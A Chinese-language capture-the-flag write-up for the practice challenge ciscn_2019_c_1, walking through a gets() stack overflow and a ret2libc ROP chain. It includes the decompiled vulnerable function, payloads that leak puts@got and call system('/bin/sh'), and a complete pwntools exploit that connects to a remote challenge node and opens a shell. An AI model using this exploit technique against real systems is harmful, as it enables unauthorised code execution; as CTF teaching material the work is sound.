一个ROP链的利用

总体思路:

  1. 获取puts@got,得到glibc地址(理解为特征码),对应一定偏移量得到system@got/bin/sh字符串
  2. 执行危险函数

细分来看:

  1. 为了得到puts真实地址(不一定非要puts,其他在程序的函数比如gets也可),我们需要通过puts@plt输出puts@got指向的值(这就是真实puts地址)
  2. 为了输出puts,需要为puts@plt传递参数,在x64上,参数依次放在rdi, rsi, rdx, rcx, r8, r9上,为此我们让程序返回到pop rdi;ret指令上,这样可以将puts@got弹到rdi上,从而输出puts@got指向的puts的值
  3. 利用
    1
    ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret|rdi' | grep 'pop rdi'
    可轻易锁定pop rdi;ret的地址
    1
    0x0000000000400c83 : pop rdi ; ret

源文件是这个

checksec下:

然后ida反编译,发现在encrypt函数存在栈溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h]
__int16 v3; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

Line10存在栈溢出

但是整个程序不存在system/bin/sh字眼,可能需要构造ROP链。

我们需要构造如下payload,来控制puts输出目标函数地址:

1
2
3
4
5
6
payload1 = ('A'*(0x50+8)).encode('ascii') + p64(pop_rdi_ret)
payload1 += p64(puts_got) + p64(puts_plt) + p64(start_addr)
# Line1先填充字符到溢出位,然后返回地址为pop rdi;ret(待其执行到encrypt的return时,pop rdi,并ret到puts函数输出)
# Line2先填充puts@got,是为了将其pop到rdi上
# 然后压入puts@plt,是为了将其调用
# 最后压入start_addr,是为了返回主程序

泄漏puts函数的地址后,利用基准偏移可得到其危险函数地址:

1
2
3
4
5
6
7
8
9
10
io.recvuntil("Ciphertext\n")
io.recvline()
leak=io.recvline()[:-1].ljust(8, b'\0') # 填充到8字节
print(leak)
puts_leak = u64(leak)
print(puts_leak) # 此即puts函数的地址
libc = LibcSearcher('puts',puts_leak)
libc_offset = puts_leak - libc.dump('puts') # 得到与基准偏移量
sys_addr = libc_offset + libc.dump('system')
bin_sh_addr = libc_offset + libc.dump('str_bin_sh')

再次构造类似payload1的payload:

1
2
payload2 = ('A'*(88)).encode('ascii') + p64(ret)
payload2 += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr)

与前者不同,此处需要先ret一下,以对齐16字节,防止出错

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *
# context.log_level = 'debug'
io = remote("node4.buuoj.cn",28402)
# io = process('./ciscn_2019_c_1')
gamebox = ELF('./ciscn_2019_c_1')

pop_rdi_ret = 0x0000000000400c83
puts_plt = gamebox.plt['puts']
puts_got = gamebox.got['puts']
print('hiiiiiiiiiiii',p64(puts_got))
start_addr = gamebox.symbols['_start']
payload1 = ('A'*(88)).encode('ascii') + p64(pop_rdi_ret)
payload1 += p64(puts_got) + p64(puts_plt) + p64(start_addr)

io.sendlineafter("Input your choice!\n","1")
io.sendlineafter("Input your Plaintext to be encrypted\n",payload1)


io.recvuntil("Ciphertext\n")
io.recvline()
leak=io.recvline()[:-1].ljust(8, b'\0')
print(leak)
puts_leak = u64(leak)
print(puts_leak)
libc = LibcSearcher('puts',puts_leak)
libc_offset = puts_leak - libc.dump('puts')
sys_addr = libc_offset + libc.dump('system')
bin_sh_addr = libc_offset + libc.dump('str_bin_sh')

ret = 0x00000000004006b9
payload2 = ('A'*(88)).encode('ascii') + p64(ret)
payload2 += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr)
io.sendline("1")
io.sendlineafter("Input your Plaintext to be encrypted\n",payload2)
io.interactive()